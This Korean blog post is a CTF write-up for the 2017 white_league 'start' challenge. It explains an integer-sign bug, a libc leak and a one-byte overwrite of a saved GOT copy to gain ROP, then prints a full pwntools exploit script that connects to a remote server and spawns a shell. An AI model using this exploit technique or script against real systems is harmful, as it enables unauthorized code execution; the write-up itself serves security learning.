본문 바로가기
pwnable/ctf

[write-up] 2017 white_league-start

by Ryuuu 2018. 2. 5.


먼저 64비트 바이너리였다.




보호기법은 카나리와 nx가 걸려 있었다.




바이너리를 실행해보면 멤버를 추가, 삭제, 수정, 출력 할 수 있었다.




그런데 업데이트 부분을 보면 다른 부분과 다르게 입력이 마이너스인 것을 검사하는 루틴이 없다.


           



따라서 마이너스를 입력해주면 bss 영역에 존재하는 mem_info 위의 값에 접근할 수 있게 된다




하지만 int 입력을 받을 때 아스키로 받아서 연산해서 바로 마이너스를 넣어줘도 마이너스가 되지 않는다




자세히 보면 int 입력을 받는 함수는 unsigned int로 변수가 선언되어 있지만 update를 해주는 함수는 signed int로 되어 있어서 integer overflow를 이용하여 마이너스를 입력해 줄 수 있다.




따라서 마이너스를 입력하여 member 내용을 출력해주는 함수의 age로 libc 릭을 할 수 있다.




같은 방법으로 age_update에 들어가 한바이트 덮어 쓸 수 있다.





하지만 릭은 할 수 있어도 got를 검사하는 루틴 때문에 got overwrite는 할 수 없었다.

바이너리를 실행시키면 힙 영역에 got를 저장시켜놓고 함수가 끝날때마다 검사하는 함수를 실행하며 got가 변조되었나 검사한다.





따라서 got 영역에 값을 바꿀 수 없으므로 앞에서 저장해 놓았던 got 복사 테이블의 한 바이트를 변경해주었다.

변경해 준 결과 exit 함수가 처음 실행될 때 실제 주소를 찾는 루틴이 실행되는데 그 루틴의 한 부분인 dl_resolve 함수로 뛸 때의 뛰는 주소의

마지막 한 바이트를 바꿔 줄 수 있었다.


마침 뛸 수 있는 부분 중 ret가 존재했고 그 부분으로 뛰어 실행 흐름을 조절하니 stack으로 뛰는 것을 확인 할 수 있었다.




따라서 이제 stack에서 rop를 이용하여 익스하면 된다.


매직가젯을 이용하여 익스하였다.




payload



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# usr/bin/env python
# ryuuu
 
from pwn import *
 
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("libc6_2.23-0ubuntu10_amd64.so")
 
puts_offset = libc.symbols['puts']
 
local_oneshot_off = 0xf0274
remote_oneshot_off = 0xf02a4
 
#s = process("./easy_bof")
#s = process(["strace","-i","./easy_bof"])
s = remote("203.229.206.21",7777)
 
s.sendlineafter(">>> ","1")
s.sendlineafter("..!","A"*19)
 
s.sendlineafter("age","999999999")
 
s.sendlineafter("feature","A"*79)
 
s.sendlineafter(">>> ","3")
 
leak_addr = 0xffffffff-(0x6020c0-0x4004f8)/8+1
 
s.sendlineafter("index : ",str(leak_addr))
 
s.recvuntil("NAME    : ")
puts_addr = u64(s.recv(10)[:6].ljust(8,"\x00"))
 
libc_base = puts_addr - puts_offset
 
local_oneshot = libc_base + local_oneshot_off
remote_oneshot = libc_base + remote_oneshot_off
 
log.info("puts_addr     :"+hex(puts_addr))
log.info("libc_base     :"+hex(libc_base))
 
s.sendlineafter(">>> ","3")
 
s.sendlineafter("index : ", "0")
 
s.sendlineafter(">>> ","3")
 
payload = p64(0x41414141)*3
#payload += p64(local_oneshot)
payload += p64(remote_oneshot)
 
s.sendlineafter("Name..!", payload )
 
s.sendlineafter(">>> ","3")
 
ex_addr = 0xffffffff-(0x6020c0-0x6020a0)/8+1
 
s.sendafter("index : ", str(ex_addr))
 
s.sendlineafter(">>> " , "2")
 
s.sendlineafter("age",str(0x59))
s.interactive()


'pwnable > ctf' 카테고리의 다른 글

[write-up] 2018 codegate - Super Marimo  (0) 2018.03.08
[write-up] 2018 codegate - BaskinRobins31  (0) 2018.02.06
[write-up]Codegate 2017 babypwn  (1) 2018.01.31
[write-up] 2016 hdcon - pwnit  (0) 2018.01.29
[write-up] 2015 defcon - r0pbaby  (0) 2018.01.28

댓글